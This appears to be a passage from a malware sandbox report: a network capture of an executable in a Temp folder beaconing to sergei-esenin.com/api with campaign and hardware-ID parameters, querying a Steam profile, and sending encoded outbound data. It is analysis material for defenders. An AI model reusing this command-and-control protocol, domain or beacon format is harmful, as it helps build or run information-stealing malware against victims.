2024-10-24 02:58:29 UTC	15331	OUT	Data Raw: 18 67 20 29 47 41 f5 a1 e0 20 0d 6f 9f 7c ec f2 44 0e 0f ef af 17 c9 3e a7 3b 54 29 ea ae be e5 03 a7 f0 ba 30 be d4 a5 53 f0 3d 1f 41 81 58 0c 4f 67 25 6e 9a 2f 37 f9 06 14 c9 c3 c2 65 a8 54 5f 43 e7 e5 bf 9d 76 75 a9 08 5d 1e 31 ba cc 27 80 aa e1 74 9d 62 f7 a4 c2 c1 47 56 88 36 90 23 91 5c 57 90 9f 6f 16 e5 c3 08 c9 4b 4e 53 9c 5f 86 ed 58 e5 fa 43 1b 82 0c ab 15 a0 d1 c2 36 75 ed 6d 01 97 45 c1 3d 84 b5 02 45 16 d5 28 9a 5b fb 7e 53 47 a0 c7 74 9f c1 d5 e2 1d 5e 65 01 63 13 e3 56 50 bc 07 57 fe 6e d8 8e ff d4 42 19 ca 8c 3a 12 1d 51 74 12 af bf 8d 29 74 a0 56 bf e7 ac aa 88 e4 f0 8a 9a 73 c6 32 f2 a8 1b f7 2d 9a 83 af be 8a 3d 85 76 4e a6 e8 9e 37 dc 48 27 77 b1 34 5f d7 89 2b e1 89 e9 66 81 33 b3 97 f0 d6 9b 03 83 e9 4a d2 05 98 5c ba 75 93 9e 23 89 Data Ascii: g )GA o\|D>;T)0S=AXOg%n/7eT_Cvu]1'tbGV6#\WoKNS_XC6umE=E([~SGt^ecVPWnB:Qt)tVs2-=vN7H'w4_+f3J\u#
2024-10-24 02:58:29 UTC	15331	OUT	Data Raw: 44 e6 b6 31 ef c5 06 ed ee 03 cb cd 1e 07 f6 09 32 ec 37 3e a3 03 13 db a2 46 3a 70 30 65 97 73 84 28 62 d4 21 26 dc f7 5b ae e3 09 51 51 5e e1 c8 91 0f 44 14 e6 4b 1f 4d 9a 83 8d f5 1a 68 10 a5 89 58 01 4a 11 7b c3 0a 39 80 6c 57 13 dc 06 50 12 a8 f9 dc a2 64 b5 ee 0f a6 e5 88 98 dd be 87 77 ad e3 a8 17 c7 b4 07 a3 9c 1b f5 bb 19 82 10 41 48 74 d8 61 3e c7 9f 7d 60 5d fe 96 a9 d1 27 24 2a 76 7a b6 6b ba f0 0e ca eb 6f 02 97 5a 23 53 85 4d b5 38 45 c9 f8 7a b3 45 35 89 7c 65 94 07 35 12 42 9c d4 0f 38 0b 82 ee 00 e2 65 31 1c 55 42 a4 e9 95 d2 16 a1 9d 66 26 82 2a ca 03 58 db 94 b6 95 c4 83 f5 a6 05 63 72 aa 2d f2 49 3a d8 4e 2f 60 66 3c 75 90 ab 04 03 16 b6 4c fb 51 c7 f3 94 7b 6e b3 78 1e a8 bd 56 43 c5 c6 1b 8f b7 70 91 9c 91 b9 51 be b8 ea b2 c9 c8 b3 Data Ascii: D127>F:p0es(b!&[QQ^DKMhXJ{9lWPdwAHta>}`]'$vzkoZ#SM8EzE5\|e5B8e1UBf&Xcr-I:N/`f<uLQ{nxVCpQ
2024-10-24 02:58:31 UTC	1027	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0mv3qpsc0fuffogebvg1n2ho77; expires=Sun, 16 Feb 2025 20:45:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FVdhmSh%2BbNdjbse7UbIOQ%2BurqeXhHePyU5xeMKgaS4fhlxHJPOfUz1w4KM0JL1WNBZKJGVmWlJlPDQ5CnaXd%2Bbh0Qk9Rrn%2BjMGG4AphJMhe30p5SnVkqgVheBeZnpE2f5s1utg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b4962b564761-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1095&sent=231&recv=616&lost=0&retrans=0&sent_bytes=2846&recv_bytes=581585&delivery_rate=2318654&cwnd=246&unsent_bytes=0&cid=b08c13e630ca203f&ts=1903&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50011	104.21.53.8	443	6836	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:58:32 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=Vem6QzaiqZJURHa3lMe7iDflSjuGrTb7yeRBacZUlYA-1729738699-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-24 02:58:32 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=02113C705D9B5A7BBE56353A434AD2B5
2024-10-24 02:58:32 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4c9f2ad454feilrem5es22te05; expires=Sun, 16 Feb 2025 20:45:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cWnV4HR2p4kwlwIQuyPoOL79qoEF%2FcPv%2F%2BQlz9T4X2f4sH1xf5XOuF1kCo1ULg93OqR5qLSTSTwYm46vFlLLjGrBReDdwWfTUQnoqY7kdTWKc3nVgPxxVqP%2BRc60SCkkmmobTg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b4a70b526c5e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1116&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1077&delivery_rate=2679000&cwnd=247&unsent_bytes=0&cid=ab1f11aa802f6367&ts=649&x=0"
2024-10-24 02:58:32 UTC	299	IN	Data Raw: 31 32 34 0d 0a 34 34 63 37 76 71 79 48 43 67 77 46 36 54 31 74 6b 64 54 62 31 6c 69 66 74 42 6f 56 69 63 6f 33 30 65 6c 39 2f 31 6a 67 34 61 71 34 2f 42 6e 4c 6a 72 30 6f 5a 48 47 64 54 56 66 4e 2b 34 66 35 61 61 65 42 4e 43 65 34 2f 78 6e 67 32 45 37 52 61 64 61 39 68 59 37 75 56 64 76 77 71 48 68 74 61 34 31 53 41 4c 2b 78 6f 37 4e 36 73 35 5a 38 59 61 76 77 42 2f 33 4c 47 4e 31 69 30 4a 79 47 6d 4b 56 4f 6e 4a 61 6c 59 6e 68 78 6d 51 63 78 76 6f 6a 30 35 32 43 71 6d 69 67 6b 76 4f 51 47 34 4e 70 54 7a 6d 36 38 7a 74 6d 58 34 6c 72 54 38 4b 68 34 62 57 75 4e 55 67 43 2f 73 61 4f 7a 65 72 4f 57 66 47 47 72 38 41 66 39 79 78 6a 64 59 74 43 63 68 70 69 6c 54 70 79 57 70 57 4a 34 63 5a 6b 48 4d 62 36 49 39 4f 64 67 71 70 6f 6f 4a 4c 7a 6b 42 75 44 61 55 38 Data Ascii: 12444c7vqyHCgwF6T1tkdTb1liftBoVico30el9/1jg4aq4/BnLjr0oZHGdTVfN+4f5aaeBNCe4/xng2E7Rada9hY7uVdvwqHhta41SAL+xo7N6s5Z8YavwB/3LGN1i0JyGmKVOnJalYnhxmQcxvoj052CqmigkvOQG4NpTzm68ztmX4lrT8Kh4bWuNUgC/saOzerOWfGGr8Af9yxjdYtCchpilTpyWpWJ4cZkHMb6I9OdgqpooJLzkBuDaU8
2024-10-24 02:58:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50012	104.102.49.254	443	6828	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:58:33 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 02:58:33 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 02:58:33 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=7d4f4145ce8fba90314740bd; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 02:58:33 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 02:58:34 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-24 02:58:34 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-24 02:58:34 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50014	104.21.53.8	443	6828	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:58:34 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-24 02:58:34 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-24 02:58:34 UTC	562	IN	HTTP/1.1 403 Forbidden Date: Thu, 24 Oct 2024 02:58:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8OXDBMMDI342U62NXFBJbCUdvFRTFIn39gEqYqyxWGtbDbrKviCfzGyTLm7iLojcCjhxuoi4es4PKQZ3NvfZWpc1pLhMzaYydNVlhORNMxLQO%2Fz4%2FlblRg86cmGGR%2BE2%2Bkl5yA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b4b76fba45ea-DFW
2024-10-24 02:58:34 UTC	807	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-24 02:58:34 UTC	1369	IN	Data Raw: 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e Data Ascii: cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElemen
2024-10-24 02:58:34 UTC	1369	IN	Data Raw: 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ess-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-24 02:58:34 UTC	899	IN	Data Raw: 37 31 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 Data Ascii: 71</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-land
2024-10-24 02:58:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50015	104.21.53.8	443	6828	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:58:35 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=vNSas41clBZ3iKesnQjQxq2gxrSoK3IEkTRzDa4Pw8k-1729738714-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-24 02:58:35 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-24 02:58:35 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=meo8n2oig1nasu2p2m7ahp9f3h; expires=Sun, 16 Feb 2025 20:45:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ajXydwaxosVvjjvPzl8XxrbKLz6AnHKn48SqxqFAZb6gHNO2bU%2FusKd2lZxvdUdl43xvdQOAnnn99jt%2B07%2FSo5RLMaA4xNj%2BrjUcwnPVXC2xE5OC3krhngGRvL%2Fnu4XaxSNvvA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b4bccd4e285d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2035&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1042&delivery_rate=1414062&cwnd=251&unsent_bytes=0&cid=2dd3432fa44fb106&ts=372&x=0"
2024-10-24 02:58:35 UTC	349	IN	Data Raw: 34 64 61 0d 0a 65 48 57 63 6e 37 47 35 38 32 47 67 34 45 2f 30 69 71 58 71 37 35 52 32 79 44 6d 70 56 6c 6c 71 7a 7a 53 73 72 75 77 42 6c 43 34 44 56 2b 71 39 69 34 33 66 51 39 4f 46 62 63 37 2b 31 35 2b 4b 75 46 53 70 58 59 74 73 50 77 75 6a 52 38 6d 43 7a 6e 66 35 44 45 49 54 2f 66 50 43 33 4e 39 44 78 5a 68 74 7a 74 48 65 79 49 72 36 56 50 49 62 7a 44 77 37 43 36 4e 57 7a 63 57 44 63 66 68 4e 45 42 6e 37 39 39 54 61 6c 77 44 4d 6a 53 71 52 37 38 53 41 67 66 30 62 6f 46 53 4c 65 6e 73 50 74 52 61 57 6a 4b 46 6b 34 45 38 31 46 4f 2f 30 6b 38 54 66 47 6f 4b 46 49 64 61 77 68 34 75 4b 39 68 71 75 58 63 49 2b 4d 51 4b 72 56 38 6a 45 6e 47 6a 79 52 68 41 58 2b 50 62 65 30 34 4d 4e 78 6f 6f 68 6c 2b 58 45 79 4d 4f 32 45 37 49 62 6b 33 52 6f 4f 71 35 48 33 39 Data Ascii: 4daeHWcn7G582Gg4E/0iqXq75R2yDmpVllqzzSsruwBlC4DV+q9i43fQ9OFbc7+15+KuFSpXYtsPwujR8mCznf5DEIT/fPC3N9DxZhtztHeyIr6VPIbzDw7C6NWzcWDcfhNEBn799TalwDMjSqR78SAgf0boFSLensPtRaWjKFk4E81FO/0k8TfGoKFIdawh4uK9hquXcI+MQKrV8jEnGjyRhAX+Pbe04MNxoohl+XEyMO2E7Ibk3RoOq5H39
2024-10-24 02:58:35 UTC	900	IN	Data Raw: 2b 50 50 53 31 70 45 52 79 6f 6b 6d 6b 2f 72 4d 67 59 44 37 46 4b 64 52 78 44 63 37 44 36 64 63 77 63 61 4b 62 76 74 4b 47 68 65 2b 73 35 50 63 69 55 4f 61 77 67 36 54 2b 4d 43 45 6d 37 51 75 36 6b 53 46 4c 58 73 50 6f 52 61 57 6a 49 5a 6d 39 55 38 52 47 50 33 31 32 4d 6d 52 45 63 53 50 4b 49 54 75 77 6f 61 48 39 51 61 67 56 63 30 33 4d 67 4f 6b 55 38 6e 49 7a 69 32 32 53 77 4a 58 70 72 33 79 31 70 6f 50 79 4a 55 74 31 76 65 4a 6b 63 33 78 47 4f 6f 44 69 7a 41 36 44 4b 78 53 77 4d 4b 4b 62 2f 42 43 46 78 6a 34 39 39 50 63 6d 77 76 4b 67 79 43 64 35 38 65 4e 67 50 49 53 70 6c 72 4f 64 48 56 49 71 6b 36 4f 6c 4d 35 4e 38 55 38 49 56 63 76 2b 33 64 57 57 46 59 4b 64 59 34 2b 6f 77 49 54 4e 72 6c 53 6b 58 73 51 6d 4f 68 71 6f 57 4e 7a 41 69 32 58 37 54 78 51 Data Ascii: +PPS1pERyokmk/rMgYD7FKdRxDc7D6dcwcaKbvtKGhe+s5PciUOawg6T+MCEm7Qu6kSFLXsPoRaWjIZm9U8RGP312MmREcSPKITuwoaH9QagVc03MgOkU8nIzi22SwJXpr3y1poPyJUt1veJkc3xGOoDizA6DKxSwMKKb/BCFxj499PcmwvKgyCd58eNgPISplrOdHVIqk6OlM5N8U8IVcv+3dWWFYKdY4+owITNrlSkXsQmOhqoWNzAi2X7TxQ
